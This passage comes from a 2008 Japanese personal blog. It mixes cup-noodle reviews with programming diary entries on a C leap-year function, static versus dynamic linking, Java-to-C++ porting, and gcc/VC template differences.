個人的に普通に美味しかったです( ´д`)
 
スープ全部飲むときつくなりますが、麺・スープ共に美味しかった。
 
「また食べたいなぁ」
 
と感じてた商品なので、個人的にオススメかも。
 
 
 
続いてセブンイレブン限定の豚骨ラーメン(\150)。
P1010261
 
 
 
かやくは2種類とちょっと寂しいイメージだった。 
P1010260
 
 
 
匂いもけっこう良かった。
P1010259
 
 
 
これも美味しかった!
 
スープを全部飲んだのはミスりましたが、"前半戦は" かなり美味しく食べれました( ´д`)
 
後半はちょっと飽きもあったのですが、豚骨嫌いじゃない人は食べてみるのもオススメ。
 
 
 
 
・・突然ですが、以降は画像を中心に紹介します( ´д`)
 
 
決して、めんどくさくなったわけではありません!!
 
 
 
 
続いて、Yahoo!主催?のマルチャンから出た106万票が選び出した味の、豚骨ラーメンです。
 
 
 P1010265P1010264
 
P1010263P1010262
 
 
噂では、塩味の方が美味しいという意見が多いようす。
 
 
そして味の方は、、
 
 
味忘れました・・・( ´д⊂
 
 
体調崩したり、不味かったら忘れないので、たぶんそこそこ美味しかったんだと思います。よ、、
 
 
そして、最後は画像でお届け!
 
P1010255
 
 
P1010254
 
 
P1010253
 
 
P1010252
 
 
 
P1010251P1010250

2008/02/29
うるう年

 
今日はうるう年の影響が出る、2月29日ですね( ´д`)
 
こーいう特別な日って、世の中に何か影響が出てないか興味が出るところです。
 
そして案の定、、
 
 
との事。
 
一部の使用している方たちにとっては、たまらないニュースでしょうね。。
 
 
さてせっかくなので、うるう年をC言語で書くとどーいうコードになるか紹介してみます( ´д`)
 
たぶん、ここを読んでいる9割の方はプログラムに興味の無い方々だと思いますが・・
 
   BOOL  IsLeapYear( int year )
   {
      if( year%400==0 )return true;
      if( year%100==0 )return false;
      if( year%4==0 )return true;
      return false;
   }

 
上のコードはうるう年を判定する関数になります。
使い方としては、今年がうるう年か調べたいときは
 
     BOOL  result =  IsLeapYear( 2008 );
     if( result ){
           // うるう年の処理を書く
     }
 
 
とコーディングして  result = true ならば、うるう年の処理を書くのですね( ´д`)
 
個人的には、ほぼ4年に1回起きるイベントよりも、 2038 年問題の方がどれだけ影響でるのか
興味が尽きません。
 
不謹慎かもしれませんが。。

2008/02/27
Vista 対応・・

 
最近、公開ツールの Windows Vista 対応をしようと手探りで研究してるのですが、
正直言ってうまくいかない( ´д`)
 
基本的に、他プロセスの空間をいじくる( 共有メモリ )では、Windows Vista ではセキュリティの面
からか、うまく動作しないのかな。。
 
 
やりたい事は、デスクトップのアイコンの並び順の書き換えなのですが、アイコンの座標を
取得できてても、書き換える( 並び替える )のが成功しない。
 
 
うーん、もうちょっと研究してみよう。。

2008/02/25
pascal を使う

 
Windows のインストーラーの作成( のカスタマイズ )で、最近 pascal を使ってます。
 
この pascal 言語、C/C++ や Javaコードに慣れすぎてしまってる自分には
 
 
なんすか、これ?? (゜Д゜ )
 
 
という感じ。
 
 
英語のドキュメントと、pascal自体の構文は日本語サイトで世話になりつつ、よーやく!!
 
レジストリを使ったアプリは先日コーディングできるようになりました( ´д`)
 
 
ここ1,2年で言語自体の使用経験はけっこう増えたかも。
 
プログラムの設計やアルゴリズム等はすでに C/C++ である程度のレベルまで来てると思ってるので、
基本的に言語自体の構文を覚えれば、新しい言語でも吸収が早いのかも。
 
 
さらに、数年前までは perl は遅い!って言うのでキライだった時があったけど、、今は好きかもしれない。
 
 
perl ってすっごい、ラクにコーディング出来るんですよね。
 
最近使ってないからちょっと忘れてるけど、、perl はスクリプト言語の中でも(・∀・)イイヨ!!

2008/02/24
Java から C/C++

 
Java から C/C++ へ移植するのと、C/C++ から Java へ移植するのどっちが手間
なのかちょっと疑問に思ってます。
 
 
私自身は下記のものには経験があるのですが、
 
   ・BREW( C )   →   S!アプリ( Java: MIPD2.0/JSCL )
 
   ・VC++6.0( C/C++ ) → Javaアプリ( Java: JDK1.40 )
 
・・と書いてみると、Java から C言語の経験はありませんでした。。
仕事でも、たぶんプライベートでも。
 
全部 C/C++ から Java への一方通行かな。
 
 
以前自作した iアプリ用のバーチャルマシンを C++( Windowsコード )に移植しようと思ってるの
ですが、Javaスタイルでのコーディングをけっこうした性か、
 
我ながら、移植がだるすぎる!!
 
 
例えばこんなコードを書いてたりすると、微妙に手間。
 
  void   function(  int[] array ){
  }
 
下記のように書いておけば、この場合は直す必要がありません。
 
  void   function(  int array[] ){
  }
 
これ、けっこう多いんです( ´д`)
 
我ながら。。ね
 
後、Java ってお便利クラスがありまくるので、それらで実装しているとさらにキツイと感じる。
例外コード系もあるので、それを対応するのも骨が折れる。
 
プラットフォームやコーディングに影響されるけど、たぶん Java  から  C/C++ の方が
コスト( 手間 )がかかるような気がする。
 
iアプリのコードなので、さすがに Windows( C++ ) と同等のソースはありえないけど、構文/字句解析
部分などの移植だけでも、コンパイルエラーの数に泣きたくなった( ´д⊂
 
これは優先度低めでやっていくとします。。。

2008/02/20
静的と動的、ちょっと迷う

 
今回は Windows ソフトでのリンク(結合)をどうするかについて考察してみます。
 
 
私は VC6.0 で開発してきた今までは dll リンクで作成してきたのですが、VC2003 に
してからちょっと迷ってます。
 
 
なぜならば、VC6.0 が使用している dll ならば、Windows98 以降の OS なら 99%
デフォルトで持ってるため、
 
     「MSVCXXX.dll が見つかりません」
 
というエラーも出ることは無いのです。
 
 
しかし VC2003 が使用する dll では Windows98/2000 ではデフォルトでは入ってないし、
XP も SP2( サービスパック )で入ってるという状況です。
 
 
・・と言いながらも、実際は他の有名ソフトがインストールしてくれてたり、WindowsUpdate で提供
されてる?のか Windows2000以降なら、弊害は無いのですが( ´д`)
 
 
ちなみに静的リンク( lib )の場合だと、VC2003 で作成したのも基本的に問題なく Windows98 で
動かせます。
 
簡単にまとめてみるとこんな感じでしょうか。
種類 利点 欠点
静
的
リ
ン
ク
・ exe 起動時に MSVC系の DLL を基本必要としない。
 PC初心者には優しい。
・ 製作者の環境で予め結合している為、バグの発生も
 把握しやすくDLL で起きる問題は無い。
・ exe のサイズが大きく増える。
・メモリ空間を共有できない。アプリ毎に DLL で共有
 できた空間を使用する。
動
的
リ
ン
ク
・exe のサイズを節約できる。
・メモリ空間を静的リンクよりも節約できる。
 (アプリの数に比例して効果が上がる )

・DLLが無ければ起動できない。
・PCの環境によって DLL のバージョンが違う場合が
 あるのでバグが起きたときは、様々な手配を必要
 とする。 (事を把握しておく )

 

 
 
後は、プログラム開発の場合で、他のライブラリを利用するときに動的か静的ではけっこう違いが
出てきます。
 
 
例えば、LGPL というライセンスのライブラリは、動的リンクで無い場合ソースの公開義務が発生します。
 
そして動的の場合は、静的リンクに比べ踏む手順が多い(※1)ので、人によってはめんどくさいと思います。
 
※1
Windows  で言うと、LoadLibrarry() / GetProcAddress() / FreeLibrary()
Unix/gcc で言うと、dlopen() / dlsym() / dlclose()
を解して、ライブラリ関数を使用する。 
 
 
と今回ちょっと記述してみたのですが、私自身の中ではすでに結論は出てたりします。
 
・MSVCXXX系
   ・VC2003 まで動的(MDオプション)
   ・VC2005 は・・・今は調査不足なのもあり、答えなし
 
・他のライブラリ   ( 動的 )
・自分のライブラリ( 静的 )
 
 
といった具合でしょうか。。人に配布するとなると色々と悩みますね( ´д`)
 
 
関連記事:

2008/02/19
カップヌードルのレッドカレーを食べてみた

 
日清のレッドカレーを食べてみました。
 
P1010246P1010247
 
どうやら過去にもあったものの復刻版?という噂があるのですが、私自身は初めてなので
かなり惹かれますた。
 
印象としては、けっこう辛そう。。
 
 
そして麺はこんな感じ
P1010248
 
P1010249
 
 
そして味の方は、ふっつうにー美味しかった!
 
辛さは正直ほとんど感じなかったけど、ちょっとだけ辛味もあるのかも。
 
まぁレッドカレーという名の割には辛くなかった。
 
日清で比較するなら、以前食べた "塩" より圧倒的にオススメですね( ´д`)
 
 

新自作ライブラリがほぼ完成(70%)した・・

 
実践テストはほぼ全くやってませんが、一通り完成(70%)しました。
 
 
人によっては・・・というか多くの人にとって、
 
「70%で完成なのか?」
 
という突っ込みもあるかと思いますが、私の場合ほぼ完成なのです。
 
 
そもそも "100%" になることは、これから数十年の月日が流れても決してないでしょう、、
 
 
 
そしてこのライブラリは自己満足の集大成ですが、ライブラリの権利を渡さなくて良い環境なら
仕事でも使えるかな。
 
その自己満足ライブラリは下記のようなルールの元作ってます。
 
-----------------------------------------------------------------
 
・マルチプラットフォーム( Linux/Windows )対応
    ( WindowsはVC専用  linuxは gcc 専用だけど・・ )
 
・64bit を意識( タイムとファイル )
 
・Uniode コンパイル対応(  VCのみ )
 
-----------------------------------------------------------------
 
そして実際どーいう時に使うかと言うと
 
・Windowsでのソフト開発( unicode対応が超ラク )
 
・自作サーバでの fcgi の開発
 
・Windows/Linuxのコンソールアプリを、ほぼ同一ソースで作れる
 
 
そしてなにより、C/C++言語で作ることでの開発速度をあげたかった。
 
 
例であげると、ちょっとした http 通信するアプリを作ろうと思って下記の言語から選択するとなると、
 
  ・C/C++ ( プラットフォーム共通の標準には無い )
  ・Java   ( あります )
  ・perl     ( 標準では無い?が、ライブラリとしてはいくつかある )
 
 
ここで C/C++ を選択肢から捨てちゃうのがほぼ大半だと思うんです。
 
 
それらの様々な不満を解消するために作ったのが、今回のライブラリと。
 
蛇足ですが、、、
 
「いったい誰に話してるのかい?」
 
と思った方。これは、日記の中の独り言です( ´д`)
 
 
これがあれば、http通信/メール送受信/基本的なソケットは Windows/Linux 共通のソースで
コーディングでき、スレッド/プロセスの作成、ロックオブジェクトの制御も同一のソースで可能。
 
さらに文字列(SJIS/Unicode)クラスを用意してるので、人的ミスによるバッファオーバフローの
発生率はほぼ無くなった。
 
namespace で包んでるので、他のライブラリと名前衝突することもなし。
 
 
色々と Java 言語を参考にしたけど、他人が使いやすいかはわかんないけどね・・
 
 
あーこの開発に何100時間かけたかわからない、、、たぶんここまでC/C++を好きな人間いるのかな
と考えてもいいぐらいだろう・・

2008/02/13
Linux/gcc と VC の template ・・

 
gcc4.0 と VCでは template構文 の解釈がけっこう違いますね( ´д`)
 
今、新自作ライブラリを Windows/Linux とあわせて作成してるのですが、どーも一部の
template がエラーになってしまうのです。
 
 
具体的にはこーいう感じ。
 
 



 
template <typename Result>
class DelegateManager : public I_Function{
public:
     int val;
};

 
template <typename Result, typename type>
class DelegateR0 : public DelegateManager<Result>{
public:
     virtual void  run(){
            // 親クラスのメソッド/変数にアクセスできない・・(´・ω・‘)
     }
};










 
 
gcc 上ではクラスを継承するときに、テンプレートクラスを継承すると、親クラスには
アクセスできない様子。
 
まぁアクセス出来ないというより "コンパイルが通らない" って方か。
 
 
これは別の手段を用いて解決したのですが、C++言語同士でもコンパイラ間の移植の難しさを
改めて思いしりました(´・ω・‘)

2008/02/07
長崎ちゃんぽんのカップ麺( コンビニ版 )を食べた

 
毎度ながら、カップメンのレビューを書くのに、カテゴリとして "グルメ" を選択する自分は
どんだけカップ麺好きなんだって思ってしまいます( ´д`)
 
 
という事で、マルタイの長崎ちゃんぽんのカップ麺の絵柄が大変美味そうだったので買ってみました。
 
これね。 
P1010245
 
 
 
どうやら「長崎ちゃんぽん」のカップ麺と言ってもたくさん種類があるらしく、今回買ったのは再発売された
ものらしい。
 
他にはエースコックからも出てたり、マルタイからも別のタイプがある様子。
 
 
 
じゃあサクっといきます。
 
 
 
 
かやくは3つほど。
P1010244
 
 
 
そして麺のイメージ図
P1010243P1010242
 
 
 
感想。
 
 
美味しくなかった(´・ω・‘)
 
 
個人的には匂いですでにダメ。カップ麺独特?の匂いが強烈で、とても美味しそうには思えなく、
実際食べてみても・・前回食べた塩ラーメンよりはマシって感じ。
 
 
ネットサーフィンしてると、
 
 
「長崎ちゃんぽんは、カップ麺も美味しい」
 
 
というのをいくつも見ていただけに、非常に残念な気分。
 
たぶん自分が食べたのとは種類が違うんだろーなぁとは思うけど、これは期待してただけにキツかった。
 
 
ここ最近びみょーに風邪引き始めてるのが原因かなぁ( ´д`)

2008/02/05
ニュースやブログ系をひろってみる 2/5

 
 
毎度ながら手抜きですが、ちょっと気になる記事にコメント。
 
 
 
 
 
残業時間140時間って・・・1つき20日として計算して一日7時間残業している計算ですね。。
 
この数字は休日出勤(土日)もしないと到達しないから、ほぼ休みが無い状態がまるまる3カ月
という事になるのか。
 
う~ん、ゲーム/サーバー/ソフト/組み込みシステム、どのプログラマも地獄なんだろーなぁ。。。
 
 
けど、辞めれないんだよね。。
 
 
 
 
 
 
これ恐怖すぎるんですが・・
 
ノートPCで vista 使用の人は注意しましょう。。って私もですが( ´д⊂
 
 
 
 
 
 
おおお(゜Д゜ )
 
 
朝ごはん・・・通常生活ではまず食べませんが、
 
頭が良くなると聞くと食べたくなる( ´д`)
 
 
基本的に自分は頭が悪いと思ってるので、ちょっとでもかしこくなれるなら。。
 
 
 
 
 
 
 
実は私もフリーソフト作者をやってたりするので、「ネト●ン」にも掲載されたことあるのですが、
担当された人の印象は悪くなかったかも。
 
まぁ「事前にご連絡をお願いします。」と明記してるのに、「事後報告」なのはちょっと目に付きましたが
個人的には事後でも連絡してきたのは良かった。
 
それよりも、他の雑誌の編集者の方で "レスポンスが無い" 方が気になった。
 
 
たぶん、こっちから出した返事のメール、全部読んでないんだろーなぁ。
 
「・・の内容でご確認が取れましたら、再度ご連絡頂けますでしょうか?」
 
と書いてあるのに、連絡無し。
 
しかも、その雑誌の編集者だけ 2/2 で確率は100%。
 
 
それにしても編集者も大変なんですね。。
 
 
 

2008/02/02
電気代が異常な件

 
以前、一人暮らしで自宅サーバーを起動している人の電気代という記事があったのですが、
個人的にはそんな高くないような気がしてます(´・ω・‘)
 
 
私は自宅サーバを一日16時間~18時間ほど起動していますが、ご覧の通り。
P1010241
 
1万8千円・・・高すぎヽ(`Д´)ノ
 
 
なぜこーも電気代高いのだろうか。
 
思い当たる節は・・・無いんだが。エコの皆さんごめんなさい(´・ω・‘)